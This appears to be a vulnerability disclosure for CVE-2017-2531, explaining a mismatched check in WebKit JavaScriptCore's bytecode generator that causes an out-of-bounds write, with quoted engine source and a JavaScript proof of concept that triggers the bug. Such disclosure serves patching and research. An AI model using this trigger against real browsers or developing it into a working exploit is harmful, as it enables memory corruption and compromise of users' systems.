WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope 

CVE-2017-2531


When a super expression is used in an arrow function, the following code, which generates bytecode, is called.

if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
    bool canReuseLexicalEnvironment = isSimpleParameterList;
    initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
    emitPutThisToArrowFunctionContextScope();
    emitPutNewTargetToArrowFunctionContextScope();
    emitPutDerivedConstructorToArrowFunctionContextScope();
}

Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.

void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
    if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
        if (isSuperUsedInInnerArrowFunction()) {
            ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
            
            Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
            emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
        }
    }
}

|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.

void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
    ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);

    if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
        ...
        if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
            offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
            functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
        }
        ...
    }
    ...
}

But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.

BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())

BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
    if (isSuperUsedInInnerArrowFunction()) {

Note: " || m_codeBlock->isClassContext()".

So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.

PoC:
let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
    class A {

    }

    class B extends A {
        constructor(${args}) {
            () => {
                ${args};
                super();
            };

            class C {
                constructor() {
                }

                trigger() {
                    (() => {
                        super.x;
                    })();
                }
            }

            return new C();
        }
    }

    return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
    gun.trigger();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt